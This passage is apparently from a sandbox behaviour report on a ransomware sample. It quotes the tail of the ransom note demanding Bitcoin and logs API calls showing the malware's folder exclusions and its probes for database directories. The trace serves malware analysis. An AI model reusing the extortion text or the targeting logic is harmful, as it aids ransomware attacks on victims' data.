contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0284.168] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da250 [0284.168] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0284.168] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0284.168] FindClose (in: hFindFile=0x6da250 | out: hFindFile=0x6da250) returned 1 [0284.168] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\client\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.168] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.169] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0284.169] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.169] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.169] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0284.169] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.169] ReadFile (in: hFile=0x308, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0284.169] CloseHandle (hObject=0x308) returned 1 [0284.169] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0284.169] GetLastError () returned 0x12 [0284.169] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0284.169] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0284.169] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0284.169] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.170] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.170] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.170] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0284.170] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.170] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.170] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.170] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0284.170] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.170] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.170] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.170] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0284.170] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.170] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.170] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.170] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0284.170] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.170] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.170] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0284.170] GetLastError () returned 0x12 [0284.170] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0284.171] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0284.171] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0284.171] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0284.171] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.171] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.171] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\Extended", len=0x1e | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\Extended") returned 1 [0284.171] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0284.171] GetLastError () returned 0x3 [0284.171] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.171] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cea8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0284.171] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0284.172] GetLastError () returned 0x2 [0284.172] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.172] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cea8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0284.172] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0284.172] GetLastError () returned 0x2 [0284.172] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.172] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d98, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0284.172] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0284.172] GetLastError () returned 0x2 [0284.172] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.172] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d98, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0284.172] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0284.173] GetLastError () returned 0x2 [0284.173] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.173] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0190, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0284.173] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0284.173] GetLastError () returned 0x2 [0284.173] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.173] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d98, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⷘmP") returned 6 [0284.173] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0284.173] GetLastError () returned 0x2 [0284.173] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.173] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d98, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0284.173] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.173] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0284.173] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0284.174] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.174] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0284.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0284.174] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.174] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0284.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0284.174] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.174] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0284.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f3a068, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0284.174] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0284.174] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d98, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0284.174] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d98, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0284.174] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0284.174] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0284.175] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.175] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d98, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0284.175] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.175] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d98, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0284.175] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.175] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39d98, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0284.175] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.175] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0284.175] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Extended\\", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\extended\\") returned 0x1f [0284.175] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0284.175] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0284.175] SHGetPathFromIDListW (in: pidl=0x6e4798, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0284.175] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0284.175] IMalloc:Free (This=0x75e4d000, pv=0x6e4798) [0284.175] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0284.175] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0284.176] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0284.176] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.176] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.176] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0284.176] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.176] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.176] CharLowerBuffW (in: lpsz="Parameterinfo.xml", cchLength=0x11 | out: lpsz="parameterinfo.xml") returned 0x11 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.176] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0284.179] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0284.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlinfo.xml ", lpUsedDefaultChar=0x0) returned 4 [0284.179] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\я" (normalized: "c:\\588bce7c90097ed212\\extended\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.179] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c48*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c48*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0284.180] CloseHandle (hObject=0x308) returned 1 [0284.180] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\я" (normalized: "c:\\588bce7c90097ed212\\extended\\я")) returned 1 [0284.181] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0284.181] FileTimeToLocalFileTime 